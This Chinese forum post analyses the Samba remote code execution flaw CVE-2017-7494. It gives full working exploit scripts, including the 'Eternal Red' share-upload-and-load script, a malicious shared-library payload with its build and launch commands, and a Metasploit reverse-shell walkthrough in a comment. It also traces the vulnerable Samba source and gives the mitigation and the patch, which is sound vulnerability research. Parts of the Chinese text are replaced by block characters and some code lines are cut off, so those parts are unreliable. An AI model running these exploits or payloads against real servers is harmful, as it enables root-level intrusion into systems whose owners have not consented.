登录

Samba远程代码执行漏洞(CVE-2017-7494)分析

hades / 2017-06-15 03:08:14 / 浏览数 5895 安全技术 漏洞分析 顶(0) 踩(0)

---

[i][i][i][/i][/i][/i]
Catalogue

1. 漏洞复现

1. SMB■■■■
2. ■■■■■■■■■■■■■■/■■■■■■■■IPC$■■■■■■
3. ■■■■■■■■■■■■■■(■■■■■■■.txt■■■■■)
4. ■■■■■■■8■■so■■■■■■■paylaod■■so■
5. ■■■■■■■■■\\192.168.206.128\\IPC$■■smb■■■■■■■■■/■■■■■named pipe

0x1: POC1

```
# -*- coding: utf-8 -*-
# AUTHOR: zhenghan.zh
# RELEASE TIME: 2017/05/25
# LINK: https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba
# DESCRIPTION: ■■■■■■■■samba■■■■■■■■■■■■■■■■■■■■■■■■samba_init_module()■■■■■■so■■■■■■■samba■■■■■■IPC named pipe■■■■■■■■s
# ■■■■■■■■■■■■■■■samba■■■■■■■■■so■■■■samba_init_module()■■■■■


from optparse import OptionParser
from impacket.dcerpc.v5 import transport


def main():
parser = OptionParser()
parser.add_option("-t", "--target", dest="target", help="target ip address")
parser.add_option("-m", "--module", dest="module", help="module path on target server")


(options, args) = parser.parse_args()
if options.target and options.module:
stringbinding = r'ncacn_np:%s[\pipe\%s]' % (options.target, options.module)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
dce = rpctransport.get_dce_rpc()
dce.connect()


else:
parser.print_help()




if __name__ == "__main__":
main()
```

0x2: POC2

```
#! /usr/bin/env python
# Title : ETERNALRED
# Date: 05/24/2017
# Exploit Author: steelo <knownsteelo@gmail.com>
# Vendor Homepage: https://www.samba.org
# Samba 3.5.0 - 4.5.4/4.5.10/4.4.14
# CVE-2017-7494
```

```
import argparse
import os.path
import sys
import tempfile
import time
from smb.SMBConnection import SMBConnection
from smb import smb_structs
from smb.base import _PendingRequest
from smb.smb2_structs import *
from smb.base import *


class SharedDevice2(SharedDevice):
def __init__(self, type, name, comments, path, password):
super().__init__(type, name, comments)
self.path = path
self.password = password

class SMBConnectionEx(SMBConnection):
def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False)
super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp)


def hook_listShares(self):
self._listShares = self.listSharesEx

def hook_retrieveFile(self):
self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix

# This is maily the original listShares but request a higher level of info
def listSharesEx(self, callback, errback, timeout = 30):
if not self.has_authenticated:
raise NotReadyError('SMB connection not authenticated')

expiry_time = time.time() + timeout
path = 'IPC$'
messages_history = [ ]

def connectSrvSvc(tid):
m = SMB2Message(SMB2CreateRequest('srvsvc',
file_attributes = 0,
access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_AT
share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
oplock = SMB2_OPLOCK_LEVEL_NONE,
impersonation = SEC_IMPERSONATE,
create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL,
create_disp = FILE_OPEN))

m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback)
messages_history.append(m)

def connectSrvSvcCB(create_message, **kwargs):
messages_history.append(create_message)
if create_message.status == 0:
call_id = self._getNextRPCCallID()
# The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706]
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet c
data_bytes = \
binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + \
struct.pack('<I', call_id) + \
binascii.unhexlify(b"""
b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00
c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88
03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00
2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b
```

```
70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00
2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00
01 00 00 00
""".replace(b' ', b'').replace(b'\n', b''))
m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0))
m.tid = create_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid)
messages_history.append(m)
else:
errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history))

def rpcBindCB(trans_message, **kwargs):
messages_history.append(trans_message)
if trans_message.status == 0:
m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0))
m.tid = trans_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid'])
messages_history.append(m)
else:
closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint')

def rpcReadCB(read_message, **kwargs):
messages_history.append(read_message)
if read_message.status == 0:
call_id = self._getNextRPCCallID()

padding = b''
remote_name = '\\\\' + self.remote_name
server_len = len(remote_name) + 1
server_bytes_len = server_len * 2
if server_len % 2 != 0:
padding = b'\0\0'
server_bytes_len += 2

# The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet c
data_bytes = \
binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + \
struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + \
binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + \
struct.pack('<III', server_len, 0, server_len) + \
(remote_name + '\0').encode('UTF-16LE') + padding + \
binascii.unhexlify(b"""
02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00
00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00
""".replace(b' ', b'').replace(b'\n', b''))
m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes))
m.tid = read_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
messages_history.append(m)
else:
closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint')

def listShareResultsCB(result_message, **kwargs):
messages_history.append(result_message)
if result_message.status == 0:
# The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
data_bytes = result_message.payload.out_data

if data_bytes[3] & 0x02 == 0:
sendReadRequest(result_message.tid, kwargs['fid'], data_bytes)
else:
decodeResults(result_message.tid, kwargs['fid'], data_bytes)
elif result_message.status == 0x0103:   # STATUS_PENDING
self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid
else:
```

```
closeFid(result_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))

def decodeResults(tid, fid, data_bytes):
shares_count = struct.unpack('<I', data_bytes[36:40])[0]
results = [ ]     # A list of SharedDevice2 instances
offset = 36 + 52  # You need to study the byte stream to understand the meaning of these constants
for i in range(0, shares_count):
results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None))
offset += 12

for i in range(0, shares_count):
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)

max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)

max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)

max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)


closeFid(tid, fid)
callback(results)

def sendReadRequest(tid, fid, data_bytes):
read_count = min(4280, self.max_read_size)
m = SMB2Message(SMB2ReadRequest(fid, 0, read_count))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback,
 fid = fid, data_bytes = data_bytes)

def readCB(read_message, **kwargs):
messages_history.append(read_message)
if read_message.status == 0:
data_len = read_message.payload.data_length
data_bytes = read_message.payload.data

if data_bytes[3] & 0x02 == 0:
sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
else:
```

```
decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
else:
closeFid(read_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))

def closeFid(tid, fid, results = None, error = None):
m = SMB2Message(SMB2CloseRequest(fid))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error)
messages_history.append(m)

def closeCB(close_message, **kwargs):
if kwargs['results'] is not None:
callback(kwargs['results'])
elif kwargs['error'] is not None:
errback(OperationFailure(kwargs['error'], messages_history))

if path not in self.connected_trees:
def connectCB(connect_message, **kwargs):
messages_history.append(connect_message)
if connect_message.status == 0:
self.connected_trees[path] = connect_message.tid
connectSrvSvc(connect_message.tid)
else:
errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history))

m = SMB2Message(SMB2TreeConnectRequest(r'\\%s\%s' % ( self.remote_name.upper(), path )))
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path)
messages_history.append(m)
else:
connectSrvSvc(self.connected_trees[path])


# Don't convert to Window style path
def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeo
if not self.has_authenticated:
raise NotReadyError('SMB connection not authenticated')

messages_history = [ ]


def sendOpen(tid):
m = SMBMessage(ComOpenAndxRequest(filename = path,
access_mode = 0x0040,  # Sharing mode: Deny nothing to others
open_mode = 0x0001,    # Failed if file does not exist
search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM,
timeout = timeout * 1000))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback)
messages_history.append(m)

def openCB(open_message, **kwargs):
messages_history.append(open_message)
if not open_message.status.hasError:
if max_length == 0:
closeFid(open_message.tid, open_message.payload.fid)
callback(( file_obj, open_message.payload.file_attributes, 0 ))
else:
sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length)
else:
errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history))

def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len):
read_count = self.max_raw_size - 2
m = SMBMessage(ComReadAndxRequest(fid = fid,
offset = offset,
```

```
max_return_bytes_count = read_count,
min_return_bytes_count = min(0xFFFF, read_count)))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset,
 read_len = read_len, remaining_len = remaining_len)

def readCB(read_message, **kwargs):
# To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history.
if not read_message.status.hasError:
read_len = kwargs['read_len']
remaining_len = kwargs['remaining_len']
data_len = read_message.payload.data_length
if max_length > 0:
if data_len > remaining_len:
file_obj.write(read_message.payload.data[:remaining_len])
read_len += remaining_len
remaining_len = 0
else:
file_obj.write(read_message.payload.data)
remaining_len -= data_len
read_len += data_len
else:
file_obj.write(read_message.payload.data)
read_len += data_len

if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2):
closeFid(read_message.tid, kwargs['fid'])
callback(( file_obj, kwargs['file_attributes'], read_len ))  # Note that this is a tuple of 3-elements
else:
sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len)
else:
messages_history.append(read_message)
closeFid(read_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history))

def closeFid(tid, fid):
m = SMBMessage(ComCloseRequest(fid))
m.tid = tid
self._sendSMBMessage(m)
messages_history.append(m)

if service_name not in self.connected_trees:
def connectCB(connect_message, **kwargs):
messages_history.append(connect_message)
if not connect_message.status.hasError:
self.connected_trees[service_name] = connect_message.tid
sendOpen(connect_message.tid)
else:
errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_

m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, ''))
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name)
messages_history.append(m)
else:
sendOpen(self.connected_trees[service_name])

def get_connection(user, password, server, port, force_smb1=False):
if force_smb1:
smb_structs.SUPPORT_SMB2 = False

conn = SMBConnectionEx(user, password, "", "server")
assert conn.connect(server, port)
return conn

def get_share_info(conn):
conn.hook_listShares()
return conn.listShares()
```

```
def find_writeable_share(conn, shares):
print("[+] Searching for writable share")
filename = "red"
test_file = tempfile.TemporaryFile()
for share in shares:
try:
# If it's not writeable this will throw
conn.storeFile(share.name, filename, test_file)
conn.deleteFiles(share.name, filename)
print("[+] Found writeable share: " + share.name)
return share
except:
pass

return None

def write_payload(conn, share, payload, payload_name):
with open(payload, "rb") as fin:
conn.storeFile(share.name, payload_name, fin)

return True

def convert_share_path(share):
path = share.path[2:]
path = path.replace("\\", "/")
return path

def load_payload(user, password, server, port, fullpath):
conn = get_connection(user, password, server, port, force_smb1 = True)
conn.hook_retrieveFile()

print("[+] Attempting to load payload")
temp_file = tempfile.TemporaryFile()

try:
conn.retrieveFile("IPC$", "\\\\PIPE\\" + fullpath, temp_file)
except:
pass

return

def drop_payload(user, password, server, port, payload):
payload_name = "charizard"

conn = get_connection(user, password, server, port)
shares = get_share_info(conn)
share = find_writeable_share(conn, shares)

if share is None:
print("[!] No writeable shares on " + server + " for user: " + user)
sys.exit(-1)

if not write_payload(conn, share, payload, payload_name):
print("[!] Failed to write payload: " + str(payload) + " to server")
sys.exit(-1)

conn.close()

fullpath = convert_share_path(share)
return os.path.join(fullpath, payload_name)


def main():
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,
description= """Eternal Red Samba Exploit -- CVE-2017-7494
Causes vulnerable Samba server to load a shared library in root context
Credentials are not required if the server has a guest account
For remote exploit you must have write permissions to at least one share
```

```
Eternal Red will scan the Samba server for shares it can write to
It will also determine the fullpath of the remote share

For local exploit provide the full path to your shared library to load

Your shared library should look something like this

extern bool change_to_root_user(void);
int samba_init_module(void)
{
change_to_root_user();
/* Do what thou wilt */
}
""")
parser.add_argument("payload", help="path to shared library to load", type=str)
parser.add_argument("server", help="Server to target", type=str)
parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int)
parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str)
parser.add_argument("--password", help="Password for user default is empty", type=str)
parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool)
args = parser.parse_args()

if not os.path.isfile(args.payload):
print("[!] Unable to open: " + args.payload)
sys.exit(-1)

port = 445
user = "nobody"
password = ""
fullpath = ""

if args.port:
port = args.port
if args.username:
user = args.username
if args.password:
password = args.password

if args.local:
fullpath = args.payload
else:
fullpath = drop_payload(user, password, args.server, port, args.payload)

load_payload(user, password, args.server, port, fullpath)

if __name__ == "__main__":
main()
```

0x3: so code

```
#include <stdio.h>
#include <stdlib.h>


int samba_init_module(){
printf("Hi Samba. \n from: Fuck");
system("id > /home/samba/Fuck.txt");


return 0;
}


gcc  -fPIC -shared  samba_hack.c -o samba_hack.so


/home/samba/samba_hack.so
```

```
python exploit.py -t 192.168.206.128 -m /home/samba/samba_hack.so
```

Relevant Link:

```
https://www.exploit-db.com/exploits/42060/
https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_know
https://www.seebug.org/vuldb/ssvid-93139#0-tsina-1-55374-397232819ff9a47a7b7e80a40613cfe1
https://www.theregister.co.uk/2017/05/25/fatthumbed_dev_slashes_samba_security/
```

2. 漏洞代码原理分析

MSF发送的最核心payload本质上一个SMB数据包，即通过SMB协议打开一个named pipe文件

```
# Returns a SMB_CREATE_RES response for a given named pipe
def create_pipe(filename, disposition = 1, impersonation = 2)
self.create(filename)
end


# Creates a file or opens an existing pipe
def create(filename, disposition = 1, impersonation = 2, do_recv = true)


pkt = CONST::SMB_CREATE_PKT.make_struct
self.smb_defaults(pkt['Payload']['SMB'])


pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] =  0x2801
end


pkt['Payload']['SMB'].v['WordCount'] = 24


pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['FileNameLen'] = filename.length
pkt['Payload'].v['CreateFlags'] = 0x16
pkt['Payload'].v['AccessMask'] = 0x02000000 # Maximum Allowed
pkt['Payload'].v['ShareAccess'] = 7
pkt['Payload'].v['CreateOptions'] = 0
pkt['Payload'].v['Impersonation'] = impersonation
pkt['Payload'].v['Disposition'] = disposition
pkt['Payload'].v['Payload'] = filename + "\x00"


ret = self.smb_send(pkt.to_s)
return ret if not do_recv


ack = self.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)


# Save off the FileID
if (ack['Payload'].v['FileID'] > 0)
self.last_file_id = ack['Payload'].v['FileID']
end


return ack
end
```

SMB_COM_NT_CREATE_ANDX是SMB支持的一个Command协议类型，关于SMB协议，请参阅另一篇文章

这个数据包到达Linux Samba服务器后，会触发named pipe解析流程

\samba-3.5.0\source3\rpc_server\src_pipe.c

```
/**
* Is a named pipe known?
* @param[in] cli_filename    The pipe name requested by the client
* @result            Do we want to serve this?
*/
bool is_known_pipename(const char *cli_filename, struct ndr_syntax_id *syntax)
{
const char *pipename = cli_filename;
int i;
NTSTATUS status;

// ■■■■payload■\PIPE\path\xx.so■■■■■■■■PIPE■■■■
if (strnequal(pipename, "\\PIPE\\", 6)) {
pipename += 5;
}


if (*pipename == '\\') {
pipename += 1;
}


if (lp_disable_spoolss() && strequal(pipename, "spoolss")) {
DEBUG(10, ("refusing spoolss access\n"));
return false;
}


for (i=0; i<rpc_lookup_size; i++) {
if (strequal(pipename, rpc_lookup[i].pipe.clnt)) {
*syntax = rpc_lookup[i].rpc_interface;
return true;
}
}
// ■■■■■■pipename■■smb_probe_module()■■■■: \\192.168.206.128\\IPC$\home\samba\samba_hack.so
status = smb_probe_module("rpc", pipename);
if (!NT_STATUS_IS_OK(status)) {
DEBUG(10, ("is_known_pipename: %s unknown\n", cli_filename));
return false;
}
DEBUG(10, ("is_known_pipename: %s loaded dynamically\n", pipename));


/*
 * Scan the list again for the interface id
 */


for (i=0; i<rpc_lookup_size; i++) {
if (strequal(pipename, rpc_lookup[i].pipe.clnt)) {
*syntax = rpc_lookup[i].rpc_interface;
return true;
}
}


DEBUG(10, ("is_known_pipename: pipe %s did not register itself!\n",
 pipename));


return false;
}
```

在这里可以看到 pipename ，这个是管道名，需要利用这个管道名是恶意共享库so文件参数，比如\home\samba\samba_hack.so，这个参数在传递进 smb_probe_module 里，跟进下这个函数
\samba-3.5.0\source3\lib\module.c

```
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
char *full_path = NULL;
TALLOC_CTX *ctx = talloc_stackframe();
NTSTATUS status;


/* Check for absolute path */


/* if we make any 'samba multibyte string'
 calls here, we break
 for loading string modules */


DEBUG(5, ("Probing module '%s'\n", module));
// ■■■■■■■■■■■■■■■■■■■■do_smb_load_module
if (module[0] == '/') {
status = do_smb_load_module(module, True);
TALLOC_FREE(ctx);
return status;
}


full_path = talloc_asprintf(ctx,
"%s/%s.%s",
modules_path(subsystem),
module,
shlib_ext());
if (!full_path) {
TALLOC_FREE(ctx);
return NT_STATUS_NO_MEMORY;
}


DEBUG(5, ("Probing module '%s': Trying to load from %s\n",
module, full_path));


status = do_smb_load_module(full_path, True);


TALLOC_FREE(ctx);
return status;
}
```

继续跟进do_smb_load_module()

```
static NTSTATUS do_smb_load_module(const char *module_name, bool is_probe)
{
void *handle;
init_module_function *init;
NTSTATUS status;
const char *error;


/* Always try to use LAZY symbol resolving; if the plugin has
 * backwards compatibility, there might be symbols in the
 * plugin referencing to old (removed) functions
 */
handle = dlopen(module_name, RTLD_LAZY);


/* This call should reset any possible non-fatal errors that
 occured since last call to dl* functions */
error = dlerror();


if(!handle) {
```

```
int level = is_probe ? 3 : 0;
DEBUG(level, ("Error loading module '%s': %s\n", module_name, error ? error : ""));
return NT_STATUS_UNSUCCESSFUL;
}
// ■■■■so■■■■■init_samba_module
init = (init_module_function *)dlsym(handle, "init_samba_module");


/* we must check dlerror() to determine if it worked, because
 dlsym() can validly return NULL */
error = dlerror();
if (error) {
DEBUG(0, ("Error trying to resolve symbol 'init_samba_module' "
"in %s: %s\n", module_name, error));
dlclose(handle);
return NT_STATUS_UNSUCCESSFUL;
}


DEBUG(2, ("Module '%s' loaded\n", module_name));


status = init();
if (!NT_STATUS_IS_OK(status)) {
DEBUG(0, ("Module '%s' initialization failed: %s\n",
module_name, get_friendly_nt_error_msg(status)));
dlclose(handle);
}


return status;
}
```

可以看到把管道名传递进入到 dlopen 函数也就是打开恶意构造的共享库文件，接着把句柄给了 dlsym
加载SAMBA_INIT_MODULE,也就是说恶意共享库的功能要写入到 Samba
初始化函数里才能被加载，这样就触发了恶意构造的函数功能。看到这里，不免心理产生一个疑问，这个漏洞看起来是samba提供的一个"正常功能"，似乎就是专门用来加载
so模块并执行的，我么接下来分析下samba提供这个功能的本意是什么

0x1: samba module

samba提供了一套module system机制，它提供了samba功能扩展的灵活性

```
1. Transparent loading of static and shared modules (no need for a subsystem to know about modules)
2. Simple selection between shared and static modules at configure time
3. "preload modules" option for increasing performance for stable modules
4. No nasty #define stuff anymore
5. All backends are available as plugin now (including pdb_ldap and pdb_tdb)
```

1. Loading modules

Some subsystems in samba use different backends. These backends can be either statically linked in to samba or available as a plugin. A subsystem should have a function that allows a module to register itself. For example, the passdb subsystem has:
NTSTATUS smb_register_passdb(int version, const char *name, pdb_init_function init);
This function will be called by the initialisation function of the module to register itself.

2. Static modules

The modules system compiles a list of initialisation functions for the static modules of each subsystem. This is a define. For example, it is here currently (from include/config.h):

```
/* Static init functions */
#define static_init_pdb { pdb_mysql_init(); pdb_ldap_init(); pdb_smbpasswd_init(); pdb_tdbsam_init(); pdb_guest_init();}
These functions should be called before the subsystem is used. That should be done when the subsystem is initialised or first
```

3. Shared modules

If a subsystem needs a certain backend, it should check if it has already been registered. If the backend hasn't been registered already, the subsystem should call smb_probe_module(char subsystem, char backend). This function tries to load the correct module from a certain path ($LIBDIR/subsystem/backend.so). If the first character in 'backend' is a slash, smb_probe_module() tries to load the module from the absolute path specified in 'backend'.
After smb_probe_module() has been executed, the subsystem should check again if the module has been registered.

0x2: RPC Pluggable Modules

回到这次漏洞的主角，RPC subsystem，This architecture was added to increase the maintainability of Samba allowing RPC Pipes to be worked on separately from the main CVS branch. The RPM architecture will also allow third-party vendors to add functionality to Samba through plug-ins.

Samba在3.0之后增加了RPC方式为Samba server增加功能扩展插件(so)的能力

```
When an RPC call is sent to smbd, smbd tries to load a shared library by the name librpc_<pipename>.so to handle the call if i
```

Relevant Link:

```
http://paper.seebug.org/307/#0-tsina-1-33359-397232819ff9a47a7b7e80a40613cfe1
http://blogs.360.cn/blog/samba%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9Ecve-2017-7494%E5%88%86%E
http://www.freebuf.com/vuls/135624.html
https://www.samba.org/samba/docs/man/Samba-Developers-Guide/modules.html
https://www.samba.org/samba/docs/man/Samba-Developers-Guide/rpc-plugin.html
https://www.samba.org/samba/docs/man/Samba-Developers-Guide/
```

3. 漏洞利用前提

该漏洞的稳定性和适用性不高，原因是有很多前提限制

```
1. ■■■■■■■SMB■■■
1) ■■■■■share■■■■■■■■■■
2) ■■■■■user■■■■■■■■■■■■
2. ■■■■■■■■■■Samba■■■■■■■■■■■■■■■■■■■■■so■■■■■■■SMB■■■■■■
3. ■■■■■■■■■■■■■■■■■■■■■■■■■SMB■SMB_COM_NT_CREATE_ANDX■■■■■■■■■■■■■so■■■■■■■■■■■■■■
```

Relevant Link:

```
http://www.sohu.com/a/143887827_332887
```

4. 临时缓解 && 修复手段

0x1: 通过修改配置文件临时关闭相关功能

```
smb.conf
[global]
nt pipesupport = no


■■samba■■
service smb restart
#Or
/etc/init.d/smb restart
```

0x2: samba-4.6.3-4.5.9-4.4.13-CVE-2017-7494.patch

```
diff --git a/source3/rpc_server/srv_pipe.c b/source3/rpc_server/srv_pipe.c
index 0633b5f..c3f0cd8 100644
--- a/source3/rpc_server/srv_pipe.c
+++ b/source3/rpc_server/srv_pipe.c
@@ -475,6 +475,11 @@ bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
 NTSTATUS status;

+    if (strchr(pipename, '/')) {
+        DEBUG(1, ("Refusing open on pipe %s\n", pipename));
+        return false;
+    }
+
 if (lp_disable_spoolss() && strequal(pipename, "spoolss")) {
 DEBUG(10, ("refusing spoolss access\n"));
 return false;
```

samba禁止传入据对路径的so路径，因为正常来说，samba只接收<sambaroot>/lib/rpc/xxx.so这种路径

Relevant Link:

```
http://www.sohu.com/a/143887827_332887
https://download.samba.org/pub/samba/patches/security/samba-4.6.3-4.5.9-4.4.13-CVE-2017-7494.patch
https://www.samba.org/samba/history/security.html
```

[i][i][i][/i][/i][/i][i][i][i]
[/i][/i][/i][/i][/i][/i][/i][/i][/i][/i][/i][/i][/i]

上一篇：Web日志安全分析浅谈 下一篇：社工之经纬度定位

1. 3 条回复

独孤浪子 2017-06-15 03:28:09

来个人搞过视频呗　感觉有点看不懂了

0 回复Ta

best超亮哥 2017-06-15 03:29:30

一个视频演示比什么都重要

0 回复Ta

浮萍 2017-06-16 06:02:03

概述

Samba是在Linux和UNIX系统上实现SMB协议的一个软件。2017年5月24日Samba发布了4.6.4版本，中间修复了一个严重的远程代码执行漏洞，漏洞编号CVE-2017-74
3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。
这里采用ubuntu-16.04.2 x64位为测试机。

复现过程

环境的搭建

靶机中默认未安装Samba，首先来安装Samba并进行配置。

```
sudo apt install samba
```

安装成功，查看版本

修改Samba配置文件

```
sudo gedit /etc/samba/smb.conf
```

在最底部添加如下内容

```
[fuping] #■■■■■■■■■■
path = /tmp
public = yes
writeable = yes
```

然后重启smbd服务

```
sudo service smbd restart
```

至此，环境已经搭建成功。开始用Kail进行攻击。

攻击过程

首先去下载利用的脚本。

```
root@kali:~# cd /usr/share/metasploit-framework/modules/exploits/linux/samba
root@kali:/usr/share/metasploit-framework/modules/exploits/linux/samba# wget https://raw.githubusercontent.com/hdm/metasplo
```

然后就是在Metasploit中加载并使用脚本，攻击过程如下

```
msf > use exploit/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > show options

Module options (exploit/linux/samba/is_known_pipename):

 Name            Current Setting  Required  Description
 ----            ---------------  --------  -----------
 RHOST                            yes       The target address
 RPORT           445              yes       The SMB service port (TCP)
 SMB_FOLDER                       no        The directory to use within the writeable SMB share
 SMB_SHARE_BASE                   no        The remote filesystem path correlating with the SMB share name
 SMB_SHARE_NAME                   no        The name of the SMB share containing a writeable directory


Exploit target:

 Id  Name
 --  ----
 2   Linux x86


msf exploit(is_known_pipename) > show targets

Exploit targets:

 Id  Name
 --  ----
 0   Automatic
 1   Linux ARM (LE)
 2   Linux x86
 3   Linux x86_64


msf exploit(is_known_pipename) > set RHOST 192.168.232.137
RHOST => 192.168.232.137
msf exploit(is_known_pipename) > set target 3
target => 3
msf exploit(is_known_pipename) > exploit

[*] Started reverse TCP handler on 192.168.232.134:4444
[*] 192.168.232.137:445 - Using location \\192.168.232.137\fuping\ for the path
[*] 192.168.232.137:445 - Payload is stored in //192.168.232.137/fuping/ as gRoUnyzb.so
[*] 192.168.232.137:445 - Trying location /volume1/gRoUnyzb.so...
```

```
[*] 192.168.232.137:445 - Trying location /volume1/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume1/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume1/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume2/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume2/fuping/gRoUnyzb.so...
